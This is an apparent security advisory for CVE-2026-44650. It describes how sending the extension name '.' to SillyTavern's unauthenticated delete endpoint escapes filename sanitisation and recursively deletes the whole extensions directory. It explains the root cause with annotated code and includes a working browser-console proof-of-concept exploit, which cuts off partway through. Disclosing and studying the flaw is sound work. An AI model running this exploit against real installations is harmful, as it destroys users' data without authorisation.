CVE-2026-44650

## Summary `POST /api/extensions/delete` endpoint accepts `extensionName: "."` which bypasses `sanitize-filename` validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration. ## Affected File `src/endpoints/extensions.js` (last modified: commit `3ad9b05e2`) ## Root Cause The validation check occurs **before** sanitization: ```javascript // [1] "." is truthy — passes the check if (!request.body.extensionName) { return response.status(400).send('Bad Request'); } // [2] sanitize(".") → "" const extensionPath = path.join(basePath, sanitize(extensionName)); // path.join("data\\default-user\\extensions", "") // = "data\\default-user\\extensions" ← basePath itself! // [3] Deletes the entire extensions directory await fs.promises.rm(extensionPath, { recursive: true }); ``` `sanitize-filename` converts `"."` to `""` (documented behavior). `path.join(basePath, "")` returns `basePath` itself. Result: the entire `data\default-user\extensions\` directory is deleted. ## Proof of Concept Tested on: Windows 10, SillyTavern v1.17.0, commit `004f1336e` Authentication: none (basicAuthMode: false, default configuration) Run in browser console (F12) while SillyTavern is open: ```javascript async function poc() { const { token } = await (await fetch('/csrf-token')).json(); const headers = { 'Content-Type': 'application/json', 'X-CSRF-Token': token, }; // Before: 1 extension installed const before = await (await fetch('/api/extensions/discover', { headers })).json(); console.log('Before:', before.filter(e => e.type === 'local')); // [{ type: 'local', name: 'third-party/Extension-Notebook' }] // Attack const res = await fetch('/api/extensions/delete', { method: 'POST', headers, body: JSON.stringify({ extensionName: '.' }), }); console.log('Status:', res.status); // 200 console.log('Body: